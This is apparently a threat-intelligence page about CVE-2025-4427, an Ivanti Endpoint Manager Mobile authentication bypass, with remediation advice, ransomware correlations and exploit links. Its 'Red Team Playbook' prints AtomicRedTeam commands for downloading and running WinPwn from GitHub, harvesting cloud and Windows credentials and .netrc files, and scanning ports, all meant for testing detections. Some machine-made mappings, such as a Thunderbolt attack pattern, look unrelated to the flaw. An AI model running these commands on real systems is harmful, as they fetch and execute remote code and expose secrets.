CVE-2025-4427
Overview
This vulnerability is an authentication bypass in the API component of Ivanti Endpoint Manager Mobile, affecting versions 12.5.0.0 and prior. The root cause is a flawed authorization check in certain administrator web API endpoints, allowing unauthenticated access to protected resources. The affected component is the API feature handling administrative functions, specifically the endpoints processing feature usage data.
Vulnerability Description
An authentication bypass in the API component of Ivanti Endpoint Manager Mobile 12.5.0.0 and prior allows attackers to access protected resources without proper credentials via the API.
Impact
An attacker can gain unauthorized access to administrative API endpoints without any authentication or user interaction. This access enables execution of arbitrary code on the server with elevated privileges via server-side template injection. The consequence is full system compromise, including potential data exposure, lateral movement within the network, and disruption of enterprise mobile device management operations.
Solution
Ivanti has published a security advisory detailing this issue for Ivanti Endpoint Manager Mobile. Users should upgrade to versions later than 12.5.0.0 where the vulnerability is addressed. The advisory is available at https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM and provides instructions for patching and mitigation. Applying the vendor-recommended updates promptly is essential to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Correlated Groups
Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.
| Group | Confidence | Victims | Source |
|---|---|---|---|
|
akira
|
LOW | 1529 | Chain Inference |
|
ransomhub
|
LOW | 842 | Chain Inference |
|
sinobi
|
LOW | 274 | Chain Inference |
|
frag
|
LOW | 30 | Chain Inference |
|
0apt
|
LOW | — | Chain Inference |
Full Analysis
The vulnerability in the API component of Ivanti Endpoint Manager Mobile versions up to 12.5.0.0 presents a significant security concern due to an authentication bypass flaw. This issue allows unauthorized users to access protected resources without the need for valid credentials. The underlying cause of this vulnerability typically stems from improper validation of user authentication tokens or session management flaws within the API. Attackers can exploit this weakness to gain access to sensitive data and functionalities that should be restricted to authenticated users, thereby compromising the integrity and confidentiality of the system.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving direct API calls. An attacker could leverage automated scripts or tools to send requests to the API endpoints that are supposed to be secured. By bypassing the authentication mechanism, the attacker can retrieve sensitive information, modify configurations, or even execute administrative commands. Scenarios may include accessing user data, altering security policies, or deploying malicious configurations that could further compromise the network. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly concerning for organizations relying on Ivanti Endpoint Manager Mobile for device management.
The real-world impact of this vulnerability can be profound, especially for organizations that manage a large number of mobile devices and sensitive data through the affected product. Unauthorized access to protected resources can lead to data breaches, loss of customer trust, and regulatory penalties, especially in industries subject to strict compliance requirements such as healthcare and finance. Additionally, the financial implications of remediation efforts, including incident response and potential legal liabilities, can be substantial. The risk is further amplified by the growing trend of remote work and mobile device usage, which increases the attack surface and the potential for exploitation.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities in the API before they can be exploited. Implementing robust authentication mechanisms, such as multi-factor authentication and OAuth, can significantly reduce the risk of unauthorized access. Furthermore, monitoring API traffic for unusual patterns or unauthorized access attempts can provide early warning signs of exploitation. Organizations should also ensure that they are running the latest versions of Ivanti Endpoint Manager Mobile, as vendors often release patches to address known vulnerabilities.
In conclusion, the authentication bypass vulnerability in the API component of Ivanti Endpoint Manager Mobile poses a serious threat to organizations that utilize this software for mobile device management. The potential for unauthorized access to sensitive resources highlights the critical need for robust security practices, including regular updates, thorough monitoring, and proactive vulnerability management. By understanding the nature of this vulnerability and implementing effective detection and mitigation strategies, organizations can better protect their assets and maintain the trust of their stakeholders.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2025-4427, with a notable increase in telemetry signals indicating exploitation attempts targeting the Ivanti Endpoint Manager Mobile API authentication bypass. Although the EPSS score shows a slight decline, this metric does not fully capture the growing operational interest reflected in our sensors. Importantly, new proof-of-concept exploits and a Metasploit module have emerged, lowering the technical barrier for adversaries to leverage this vulnerability for unauthenticated remote code execution. Despite the absence of confirmed ransomware campaigns exploiting this flaw, the association of known ransomware groups such as akira and sinobi with this vulnerability underscores its potential attractiveness for future ransomware operations. This evolving landscape elevates the threat posture, signaling that defenders should anticipate increased exploitation attempts and prioritize monitoring for related indicators of compromise. Consequently, the risk level for organizations running affected Ivanti Endpoint Manager Mobile versions should be considered heightened due to the convergence of increased exploitation activity and the availability of sophisticated attack tools.
Update 2 — June 07, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2025-4427, accompanied by the emergence of an additional ransomware group leveraging this vulnerability. This development signals a broadening adversary interest and diversification in threat actor profiles exploiting the Ivanti Endpoint Manager Mobile authentication bypass. The increase in detection activity, while not yet classified as rapidly accelerating, reflects growing operational use and experimentation with available exploit frameworks, including Metasploit modules and newly published proof-of-concept exploits. For defenders, this trend underscores the necessity of heightened vigilance around API access patterns and anomaly detection, as the expanding ransomware group associations suggest a potential shift toward more aggressive post-exploitation tactics. Consequently, the threat level for affected environments has risen, with the vulnerability’s exploitability now more pronounced due to both the quantitative increase in exploitation attempts and qualitative expansion of threat actor engagement.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Endpoint Manager Mobile | All |
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager Mobile | All |
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager Mobile | All |
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager Mobile | 12.5.0.0 |
cpe:2.3:a:ivanti:endpoint_manager_mobile:12.5.0.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Ivanti EPMM Authentication Bypass for Expression Language Remote Code Execution
exploits/multi/http/ivanti_epmm_rce_cve_2025_4427_4428
|
CERT-EU, Sonny Macdonald, Piotr Bazydlo +1 | Unknown | python | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Ivanti Endpoint Manager Mobile 12.5.0.0 - Authentication Bypass | İbrahimsql | remote | multiple | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428
|
watchtowrlabs | 11 | 4 | 2025-05-15 | View |
|
rxerium/CVE-2025-4427-CVE-2025-4428
Detection for CVE-2025-4427 and CVE-2025-4428
|
rxerium | 0 | 0 | 2025-08-31 | View |
Ransomware Groups 5
Threat Feed
23 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (30 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-4427 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-4427 |